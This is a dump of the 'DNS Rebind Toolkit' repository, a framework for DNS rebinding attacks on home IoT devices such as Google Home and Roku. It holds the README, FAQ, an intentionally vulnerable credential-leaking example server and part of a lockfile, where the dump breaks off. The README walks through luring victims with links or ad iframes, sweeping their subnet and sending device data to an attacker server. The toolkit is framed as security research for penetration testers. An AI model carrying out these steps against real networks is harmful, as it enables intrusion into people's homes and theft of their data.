├── .DS_Store ├── .gitignore ├── CODE_OF_CONDUCT.md ├── FAQ.md ├── LICENSE ├── README.md ├── data └── .gitkeep ├── examples ├── launcher.html ├── payload.html └── vulnerable-server.js ├── package-lock.json ├── package.json ├── payloads ├── README.md ├── google-home.html ├── phillips-hue.html ├── radio-thermostat.html ├── roku-info.html └── sonos-info.html ├── server.js ├── share └── js │ ├── DNSRebindAttack.js │ ├── DNSRebindNode.js │ ├── EventEmitter.js │ ├── vue.js │ └── xmlToJSON.min.js └── www ├── css └── style.css ├── default-payloads.html ├── index.html ├── rebind ├── index.html └── loading.gif └── safe └── index.html /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/brannondorsey/dns-rebind-toolkit/98a6abab1e21cb4304d97f586fe28c706bb307a0/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | exploits/*/node_modules 3 | exploits/*/data/* 4 | !exploits/*/data/.gitkeep 5 | data/* 6 | !data/.gitkeep 7 | notes 8 | .vscode 9 | .DS_Store 10 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Code of Conduct 2 | 3 | ## 1. Purpose 4 | 5 | A primary goal of Whonow is to be inclusive to the largest number of contributors, with the most varied and diverse backgrounds possible. As such, we are committed to providing a friendly, safe and welcoming environment for all, regardless of gender, sexual orientation, ability, ethnicity, socioeconomic status, and religion (or lack thereof). 6 | 7 | This code of conduct outlines our expectations for all those who participate in our community, as well as the consequences for unacceptable behavior. 8 | 9 | We invite all those who participate in Whonow to help us create safe and positive experiences for everyone. 10 | 11 | ## 2. Open Source Citizenship 12 | 13 | A supplemental goal of this Code of Conduct is to increase open source citizenship by encouraging participants to recognize and strengthen the relationships between our actions and their effects on our community. 14 | 15 | Communities mirror the societies in which they exist and positive action is essential to counteract the many forms of inequality and abuses of power that exist in society. 16 | 17 | If you see someone who is making an extra effort to ensure our community is welcoming, friendly, and encourages all participants to contribute to the fullest extent, we want to know. 18 | 19 | ## 3. Expected Behavior 20 | 21 | The following behaviors are expected and requested of all community members: 22 | 23 | * Participate in an authentic and active way. In doing so, you contribute to the health and longevity of this community. 24 | * Exercise consideration and respect in your speech and actions. 25 | * Attempt collaboration before conflict. 26 | * Refrain from demeaning, discriminatory, or harassing behavior and speech. 27 | * Be mindful of your surroundings and of your fellow participants. Alert community leaders if you notice a dangerous situation, someone in distress, or violations of this Code of Conduct, even if they seem inconsequential. 28 | * Remember that community event venues may be shared with members of the public; please be respectful to all patrons of these locations. 29 | 30 | ## 4. Unacceptable Behavior 31 | 32 | The following behaviors are considered harassment and are unacceptable within our community: 33 | 34 | * Violence, threats of violence or violent language directed against another person. 35 | * Sexist, racist, homophobic, transphobic, ableist or otherwise discriminatory jokes and language. 36 | * Posting or displaying sexually explicit or violent material. 37 | * Posting or threatening to post other people’s personally identifying information ("doxing"). 38 | * Personal insults, particularly those related to gender, sexual orientation, race, religion, or disability. 39 | * Inappropriate photography or recording. 40 | * Inappropriate physical contact. You should have someone’s consent before touching them. 41 | * Unwelcome sexual attention. This includes, sexualized comments or jokes; inappropriate touching, groping, and unwelcomed sexual advances. 42 | * Deliberate intimidation, stalking or following (online or in person). 43 | * Advocating for, or encouraging, any of the above behavior. 44 | * Sustained disruption of community events, including talks and presentations. 45 | 46 | ## 5. Consequences of Unacceptable Behavior 47 | 48 | Unacceptable behavior from any community member, including sponsors and those with decision-making authority, will not be tolerated. 49 | 50 | Anyone asked to stop unacceptable behavior is expected to comply immediately. 51 | 52 | If a community member engages in unacceptable behavior, the community organizers may take any action they deem appropriate, up to and including a temporary ban or permanent expulsion from the community without warning (and without refund in the case of a paid event). 53 | 54 | ## 6. Reporting Guidelines 55 | 56 | If you are subject to or witness unacceptable behavior, or have any other concerns, please notify a community organizer as soon as possible. brannon@brannondorsey.com. 57 | 58 | 59 | 60 | Additionally, community organizers are available to help community members engage with local law enforcement or to otherwise help those experiencing unacceptable behavior feel safe. In the context of in-person events, organizers will also provide escorts as desired by the person experiencing distress. 61 | 62 | ## 7. Addressing Grievances 63 | 64 | If you feel you have been falsely or unfairly accused of violating this Code of Conduct, you should notify Brannondorsey with a concise description of your grievance. Your grievance will be handled in accordance with our existing governing policies. 65 | 66 | 67 | 68 | ## 8. Scope 69 | 70 | We expect all community participants (contributors, paid or otherwise; sponsors; and other guests) to abide by this Code of Conduct in all community venues–online and in-person–as well as in all one-on-one communications pertaining to community business. 71 | 72 | This code of conduct and its related procedures also applies to unacceptable behavior occurring outside the scope of community activities when such behavior has the potential to adversely affect the safety and well-being of community members. 73 | 74 | ## 9. Contact info 75 | 76 | brannon@brannondorsey.com 77 | 78 | ## 10. License and attribution 79 | 80 | This Code of Conduct is distributed under a [Creative Commons Attribution-ShareAlike license](http://creativecommons.org/licenses/by-sa/3.0/). 81 | 82 | Portions of text derived from the [Django Code of Conduct](https://www.djangoproject.com/conduct/) and the [Geek Feminism Anti-Harassment Policy](http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Policy). 83 | 84 | Retrieved on November 22, 2016 from [http://citizencodeofconduct.org/](http://citizencodeofconduct.org/) 85 | -------------------------------------------------------------------------------- /FAQ.md: -------------------------------------------------------------------------------- 1 | # Frequently Asked Questions 2 | 3 | Got a question about the DNS rebinding attacks or how this toolkit works? Check below to see if it's been answered. If not peruse the open issues and if you don't find an answer there, feel free to post a new issue. 4 | 5 | ## Can I target services that don't speak HTTP? 6 | 7 | Best I can tell, no. DNS rebinding attacks require the web browser to function as a sort of proxy to the target LAN. You are therefore restricted to use the kinds of communication allowed by the browser to communicate to the vulnerable device. We browsers don't provide a TCP or UDP stack that you would have access to. 8 | 9 | ## Can I target services that use HTTPS? 10 | 11 | No. DNS rebinding attacks only work against plaintext HTTP. A certificate error would be thrown by your browser when it notices that the victim service's certificate doesn't match the certificate on rebind.network (I don't even have a cert on that box). 12 | 13 | ## How can I tell if a service is vulnerable? 14 | 15 | If an HTTP API or service is available on your local network (or the WAN for that matter) and it 1) doesn't use HTTPS and 2) doesn't seem to have any authorization limiting access, it may be vulnerable. The easiest way to check is to open up your web browser and navigate to the service in question, e.g. `http://192.168.1.7:8888`. Now, try and access the same service using a domain name provided by a [whonow](https://github.com/brannondorsey/whonow) server running at rebind.network, `http://A.192.168.1.7.forever.rebind.network:8888`. If the service is still available at that domain name, it's vulnerable to a DNS rebinding attack. 16 | 17 | ## The WebRTC leak provided by `DNSRebindAttack.getLocalIPAddress()` isn't working. 18 | 19 | It doesn't work in all browsers. Last time I checked Firefox protected against it. I usually fall back to a common network subnet like `192.168.1.0/24`. 20 | 21 | ```javascript 22 | DNSRebindAttack.getLocalIPAddress() 23 | .then(ip => launchRebindAttack(ip)) 24 | .catch(err => { 25 | console.error(err) 26 | // Looks like our nifty WebRTC leak trick didn't work (doesn't work 27 | // in Firefox). No biggie, most home networks are 192.168.1.1/24 anyway. 28 | launchRebindAttack('192.168.1.1') 29 | }) 30 | 31 | function launchRebindAttack(localIp) { 32 | 33 | // convert an IP like 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255 34 | const first3Octets = localIp.substring(0, localIp.lastIndexOf('.')) 35 | const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`) 36 | 37 | // do some nasty stuff... 38 | } 39 | ``` 40 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Brannon Dorsey 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DNS Rebind Toolkit 2 | 3 | [Demo](http://rebind.network) | 4 | [Security Advisory](https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325) | 5 | [Included Payloads](payloads/README.md) | 6 | [FAQ](FAQ.md) 7 | 8 | **DISCLAIMER: This software is for educational purposes only. This software should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.** 9 | 10 | DNS Rebind Toolkit is a frontend JavaScript framework for developing [DNS Rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) exploits against vulnerable hosts and services on a local area network (LAN). It can be used to target devices like Google Home, Roku, Sonos WiFi speakers, WiFi routers, "smart" thermostats, and other IoT devices. With this toolkit, a remote attacker can bypass a router's firewall and directly interact with devices on the victim's home network, exfiltrating private information and in some cases, even controlling the vulnerable devices themselves. 11 | 12 | The attack requires a victim on the target network to simply follow a link, or be shown an HTML ad containing a malicious iframe. From their, the victim's web browser is used like a proxy to directly access other hosts connected to their home network. These target machines and services would otherwise be unavailable to the attacker from the Internet. The remote attacker may not know what those services are, or what IP addresses they occupy on the victim's network, but DNS Rebind Toolkit handles this by brute forcing hundreds of likely IP addresses. 13 | 14 | Under the hood, this tool makes use of a public [whonow DNS server](https://github.com/brannondorsey/whonow) running on rebind.network:53 to execute the DNS rebinding attack and fool the victim's web browser into violating the [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). From their, it uses [WebRTC](https://en.wikipedia.org/wiki/WebRTC) to leak the victim's private IP address, say 192.168.1.36. It uses the first three octets of this local IP address to guess the network's subnet and then inject 256 iframes, from 192.168.1.0-255 delivering a payload to each host that could possibly be on the network subnet. 15 | 16 | This toolkit can be used to develop and deploy your own DNS rebinding attacks. Several real-world attack payloads are included with this toolkit in the [`payloads/`](payloads) directory. These payloads include information exfiltration (and rickroll tom-foolery) attacks against a few popular IoT devices, including Google Home and Roku products. 17 | 18 | > This toolkit is the product of independent security research into DNS Rebinding attacks. You can read about that original research [here](https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325). 19 | 20 | ## Getting Started 21 | 22 | ```bash 23 | # clone the repo 24 | git clone https://github.com/brannondorsey/dns-rebind-toolkit.git 25 | cd dns-rebind-toolkit 26 | 27 | # install dependencies 28 | npm install 29 | 30 | # run the server using root to provide access to privileged port 80 31 | # this script serves files from the www/, /examples, /share, and /payloads directories 32 | sudo node server 33 | ``` 34 | 35 | By default, `server.js` serves payloads targeting Google Home, Roku, Sonos speakers, Phillips Hue light bulbs and Radio Thermostat devices running their services on ports 8008, 8060, 1400, 80 and 80 respectively. If you've got one of these devices on your home network, navigate to http://rebind.network for a nice surprise ;). Open the developer's console and watch as these services are harmlessly exploited causing data to be stolen from them and exfiltrated to `server.js`. 36 | 37 | ## API and Usage 38 | 39 | This toolkit provides two JavaScript objects that can be used together to create DNS rebinding attacks: 40 | 41 | - [`DNSRebindAttack`](share/js/DNSRebindAttack.js): This object is used to launch an attack against a vulnerable service running on a known port. It spawns one payload for each IP address you choose to target. `DNSRebindAttack` objects are used to create, manage, and communicate with multiple `DNSRebindNode` objects. Each payload launched by `DNSRebindAttack` must contain a `DNSRebindNode` object. 42 | - [`DNSRebindNode`](share/js/DNSRebindNode.js): This static class object should be included in each HTML payload file. It is used to target one service running on one host. It can communicate with the `DNSRebindAttack` object that spawned it and it has helper functions to execute the DNS rebinding attack (using `DNSRebindNode.rebind(...)`) as well as exfiltrate data discovered during the attack to `server.js` (`DNSRebindNode.exfiltrate(...)`). 43 | 44 | These two scripts are used together to execute an attack against unknown hosts on a firewall protected LAN. A basic attack looks like this: 45 | 46 | 1. Attacker sends victim a link to a malicious HTML page that launches the attack: e.g. `http://example.com/launcher.html`. `launcher.html` contains an instance of `DNSRebindAttack`. 47 | 2. The victim follows the attacker's link, or visits a page where `http://example.com/launcher.html` is embedded as an iframe. This causes the `DNSRebindAttack` on `launcher.html` to begin the attack. 48 | 3. `DNSRebindAttack` uses a [WebRTC leak](https://github.com/diafygi/webrtc-ips) to discover the local IP address of the victim machine (e.g. `192.168.10.84`). The attacker uses this information to choose a range of IP addresses to target on the victim's LAN (e.g. `192.168.10.0-255`). 49 | 4. `launcher.html` launches the DNS rebinding attack (using `DNSRebindAttack.attack(...)`) against a range of IP addresses on the victim's subnet, targeting a single service (e.g. the [undocumented Google Home REST API](https://rithvikvibhu.github.io/GHLocalApi/) available on port `8008`). 50 | 5. At an interval defined by the user (200 milliseconds by default), `DNSRebindAttack` embeds one iframe containing `payload.html` into the `launcher.html` page. Each iframe contains one `DNSRebindNode` object that executes an attack against port 8008 of a single host defined in the range of IP addresses being attacked. This injection process continues until an iframe has been injected for each IP address that is being targeted by the attack. 51 | 6. Each injected `payload.html` file uses `DNSRebindNode` to attempt a rebind attack by communicating with a [whonow DNS server](https://github.com/brannondorsey/whonow). If it succeeds, same-origin policy is violated and `payload.html` can communicate with the Google Home product directly. Usually `payload.html` will be written in such a way that it makes a few API calls to the target device and exfiltrates the results to `server.js` running on `example.com` before finishing the attack and destroying itself. 52 | 53 | Note, if a user has one Google Home device on their network with an unknown IP address and an attack is launched against the entire `192.168.1.0/24` subnet, then one `DNSRebindNode`'s rebind attack will be successful and 254 will fail. 54 | 55 | ## Examples 56 | 57 | An attack consists of three coordinated scripts and files: 58 | 59 | - An HTML file containing an instance of `DNSRebindAttack` (e.g. `launcher.html`) 60 | - An HTML file containing the attack payload (e.g. `payload.html`). This file is embedded into `launcher.html` by `DNSRebindAttack` for each IP address being targetted. 61 | - A DNS Rebinding Toolkit server (`server.js`) to deliver the above files and exfiltrate data if need be. 62 | 63 | ### `launcher.html` 64 | 65 | Here is an example HTML launcher file. You can find the complete document in [`examples/launcher.html`](examples/launcher.html). 66 | 67 | ```html 68 | 69 | 70 | Example launcher 71 | 72 | 73 | 74 | 75 | 76 | 77 | 160 | 161 | 162 | ``` 163 | 164 | ### `payload.html` 165 | 166 | Here is an example HTML payload file. You can find the complete document in [`examples/payload.html`](examples/payload.html). 167 | 168 | ```html 169 | 170 | 171 | 172 | Example Payload 173 | 174 | 175 | 179 | 180 | 278 | 279 | 280 | ``` 281 | 282 | ### `server.js` 283 | 284 | This script is used to deliver the `launcher.html` and `payload.html` files, as well as receive and save exifltrated data from the `DNSRebindNode` to the `data/` folder. For development, I usually run this server on localhost and point `DNSRebindAttack.attack(...)` towards `127.0.0.1`. For production, I run the server on a VPS cloud server and point `DNSRebindAttack.attack(...)` to its public IP address. 285 | 286 | ```bash 287 | # run with admin privileged so that it can open port 80. 288 | sudo node server 289 | ``` 290 | 291 | ``` 292 | usage: server [-h] [-v] [-p PORT] 293 | 294 | DNS Rebind Toolkit server 295 | 296 | Optional arguments: 297 | -h, --help Show this help message and exit. 298 | -v, --version Show program's version number and exit. 299 | -p PORT, --port PORT Which ports to bind the servers on. May include 300 | multiple like: --port 80 --port 1337 (default: -p 80 301 | -p 8008 -p 8060 -p 1337) 302 | ``` 303 | 304 | ### More Examples 305 | 306 | I've included an example vulnerable server in `examples/vulnerable-server.js`. This vulnerable service MUST be run from another machine on your network, as it's port MUST match the same port as `server.js`. To run this example attack yourself, do the following: 307 | 308 | #### Secondary Computer 309 | 310 | ```bash 311 | # clone the repo 312 | git clone https://github.com/brannondorsey/dns-rebind-toolkit 313 | cd dns-rebind-toolkit 314 | 315 | # launch the vulnerable server 316 | node examples/vulnerable-server 317 | # ... 318 | # vulnerable server is listening on 3000 319 | ``` 320 | 321 | #### Primary Computer 322 | 323 | ``` 324 | node server --port 3000 325 | ``` 326 | 327 | Now, navigate your browser to http://localhost:3000/launcher.html and open a dev console. Wait a minute or two, if the attack worked you should see some dumped credz from the vulnerable server running on the secondary computer. 328 | 329 | Check out the `examples/` and `payloads/` directories for more examples. 330 | 331 | ## Files and Directories 332 | 333 | - `server.js`: The DNS Rebind Toolkit server 334 | - `payloads/`: Several HTML payload files hand-crafted to target a few vulnerable IoT devices. Includes attacks against Google Home, Roku, and Radio Thermostat for now. I would love to see more payloads added to this repo in the future (PRs welcome!) 335 | - `examples/`: Example usage files. 336 | - `data/`: Directory where data exfiltrated by `DNSRebindNode.exfiltrate(...)` is saved. 337 | - `share/`: Directory of JavaScript files shared by multiple HTML files in `examples/` and `payload/`. 338 | 339 | This toolkit was developed to be a useful tool for researchers and penetration testers. If you'd like to see some of the research that led to it's creation, check out [this post](https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325). If you write a payload for another service, consider making a PR to this repository so that others can benefit from your work! 340 | -------------------------------------------------------------------------------- /data/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/brannondorsey/dns-rebind-toolkit/98a6abab1e21cb4304d97f586fe28c706bb307a0/data/.gitkeep -------------------------------------------------------------------------------- /examples/launcher.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Example launcher 4 | 5 | 6 |

Open your developer's console to see what's happening.

7 | 8 | 9 | 10 | 126 | 127 | 128 | -------------------------------------------------------------------------------- /examples/payload.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Example Payload 5 | 6 | 7 | 11 | 12 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /examples/vulnerable-server.js: -------------------------------------------------------------------------------- 1 | // This example server MUST be run on another machine on your local 2 | // network. This is because it must be run from the exact same port 3 | // as the malicious website (in this case, /examples/example-launcher.html). 4 | // In order to trick web browser's into violating same-origin policy the domain 5 | // name of the target server must be EXACTLY the same as the malicious website 6 | // launching the attack. If we were serving this from a different port that 7 | // would violate the same-origin request. Sorry folks, hope you've got another 8 | // machine you could run this on. Otherwise, you could just trust me that the 9 | // example works ;) 10 | 11 | const http = require('http') 12 | const url = require('url') 13 | 14 | const port = 3000 15 | const secrets = { 16 | username: 'crashOverride', 17 | password: 'hacktheplanet!' 18 | } 19 | 20 | const requestHandler = (req, res) => { 21 | const path = url.parse(req.url).pathname 22 | console.log(req.method, req.url) 23 | 24 | res.setHeader('Server', 'Example Vulnerable Server v1.0') 25 | if (path == '/auth.json') { 26 | res.statusCode = 200 27 | res.setHeader('content-type', 'application/json') 28 | res.end(JSON.stringify(secrets)) 29 | } else { 30 | res.statusCode = 404 31 | res.end('Not found. Maybe you should look for auth.json ;)') 32 | } 33 | } 34 | 35 | const server = http.createServer(requestHandler) 36 | 37 | server.listen(port, (err) => { 38 | if (err) throw err 39 | console.log(`vulnerable server is listening on ${port}`) 40 | }) 41 | -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "dnsrebind-toolkit", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "accepts": { 8 | "version": "1.3.5", 9 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz", 10 | "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=", 11 | "requires": { 12 | "mime-types": "2.1.18", 13 | "negotiator": "0.6.1" 14 | } 15 | }, 16 | "argparse": { 17 | "version": "1.0.10", 18 | "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", 19 | "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", 20 | "requires": { 21 | "sprintf-js": "1.0.3" 22 | } 23 | }, 24 | "array-flatten": { 25 | "version": "1.1.1", 26 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", 27 | "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" 28 | }, 29 | "body-parser": { 30 | "version": "1.18.2", 31 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz", 32 | "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=", 33 | "requires": { 34 | "bytes": "3.0.0", 35 | "content-type": "1.0.4", 36 | "debug": "2.6.9", 37 | "depd": "1.1.2", 38 | "http-errors": "1.6.3", 39 | "iconv-lite": "0.4.19", 40 | "on-finished": "2.3.0", 41 | "qs": "6.5.1", 42 | "raw-body": "2.3.2", 43 | "type-is": "1.6.16" 44 | } 45 | }, 46 | "bytes": { 47 | "version": "3.0.0", 48 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", 49 | "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" 50 | }, 51 | "charenc": { 52 | "version": "0.0.2", 53 | "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", 54 | "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=" 55 | }, 56 | "content-disposition": { 57 | "version": "0.5.2", 58 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", 59 | "integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ=" 60 | }, 61 | "content-type": { 62 | "version": "1.0.4", 63 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 64 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 65 | }, 66 | "cookie": { 67 | "version": "0.3.1", 68 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.3.1.tgz", 69 | "integrity": "sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s=" 70 | }, 71 | "cookie-signature": { 72 | "version": "1.0.6", 73 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 74 | "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" 75 | }, 76 | "cors": { 77 | "version": "2.8.4", 78 | "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.4.tgz", 79 | "integrity": "sha1-K9OB8usgECAQXNUOpZ2mMJBpRoY=", 80 | "requires": { 81 | "object-assign": "4.1.1", 82 | "vary": "1.1.2" 83 | } 84 | }, 85 | "crypt": { 86 | "version": "0.0.2", 87 | "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", 88 | "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=" 89 | }, 90 | "debug": { 91 | "version": "2.6.9", 92 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 93 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 94 | "requires": { 95 | "ms": "2.0.0" 96 | } 97 | }, 98 | "depd": { 99 | "version": "1.1.2", 100 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", 101 | "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" 102 | }, 103 | "destroy": { 104 | "version": "1.0.4", 105 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", 106 | "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" 107 | }, 108 | "ee-first": { 109 | "version": "1.1.1", 110 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 111 | "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" 112 | }, 113 | "encodeurl": { 114 | "version": "1.0.2", 115 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 116 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" 117 | }, 118 | "escape-html": { 119 | "version": "1.0.3", 120 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 121 | "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" 122 | }, 123 | "etag": { 124 | "version": "1.8.1", 125 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 126 | "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" 127 | }, 128 | "express": { 129 | "version": "4.16.3", 130 | "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz", 131 | "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=", 132 | "requires": { 133 | "accepts": "1.3.5", 134 | "array-flatten": "1.1.1", 135 | "body-parser": "1.18.2", 136 | "content-disposition": "0.5.2", 137 | "content-type": "1.0.4", 138 | "cookie": "0.3.1", 139 | "cookie-signature": "1.0.6", 140 | "debug": "2.6.9", 141 | "depd": "1.1.2", 142 | "encodeurl": "1.0.2", 143 | "escape-html": "1.0.3", 144 | "etag": "1.8.1", 145 | "finalhandler": "1.1.1", 146 | "fresh": "0.5.2", 147 | "merge-descriptors": "1.0.1", 148 | "methods": "1.1.2", 149 | "on-finished": "2.3.0", 150 | "parseurl": "1.3.2", 151 | "path-to-regexp": "0.1.7", 152 | "proxy-addr": "2.0.3", 153 | "qs": "6.5.1", 154 | "range-parser": "1.2.0", 155 | "safe-buffer": "5.1.1", 156 | "send": "0.16.2", 157 | "serve-static": "1.13.2", 158 | "setprototypeof": "1.1.0", 159 | "statuses": "1.4.0", 160 | "type-is": "1.6.16", 161 | "utils-merge": "1.0.1", 162 | "vary": "1.1.2" 163 | }, 164 | "dependencies": { 165 | "statuses": { 166 | "version": "1.4.0", 167 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 168 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 169 | } 170 | } 171 | }, 172 | "finalhandler": { 173 | "version": "1.1.1", 174 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", 175 | "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", 176 | "requires": { 177 | "debug": "2.6.9", 178 | "encodeurl": "1.0.2", 179 | "escape-html": "1.0.3", 180 | "on-finished": "2.3.0", 181 | "parseurl": "1.3.2", 182 | "statuses": "1.4.0", 183 | "unpipe": "1.0.0" 184 | }, 185 | "dependencies": { 186 | "statuses": { 187 | "version": "1.4.0", 188 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 189 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 190 | } 191 | } 192 | }, 193 | "forwarded": { 194 | "version": "0.1.2", 195 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", 196 | "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" 197 | }, 198 | "fresh": { 199 | "version": "0.5.2", 200 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 201 | "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" 202 | }, 203 | "http-errors": { 204 | "version": "1.6.3", 205 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", 206 | "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=", 207 | "requires": { 208 | "depd": "1.1.2", 209 | "inherits": "2.0.3", 210 | "setprototypeof": "1.1.0", 211 | "statuses": "1.5.0" 212 | } 213 | }, 214 | "iconv-lite": { 215 | "version": "0.4.19", 216 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz", 217 | "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==" 218 | }, 219 | "inherits": { 220 | "version": "2.0.3", 221 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 222 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" 223 | }, 224 | "ipaddr.js": { 225 | "version": "1.6.0", 226 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.6.0.tgz", 227 | "integrity": "sha1-4/o1e3c9phnybpXwSdBVxyeW+Gs=" 228 | }, 229 | "is-buffer": { 230 | "version": "1.1.6", 231 | "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", 232 | "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==" 233 | }, 234 | "md5": { 235 | "version": "2.2.1", 236 | "resolved": "https://registry.npmjs.org/md5/-/md5-2.2.1.tgz", 237 | "integrity": "sha1-U6s41f48iJG6RlMp6iP6wFQBJvk=", 238 | "requires": { 239 | "charenc": "0.0.2", 240 | "crypt": "0.0.2", 241 | "is-buffer": "1.1.6" 242 | } 243 | }, 244 | "media-typer": { 245 | "version": "0.3.0", 246 | "resolved": 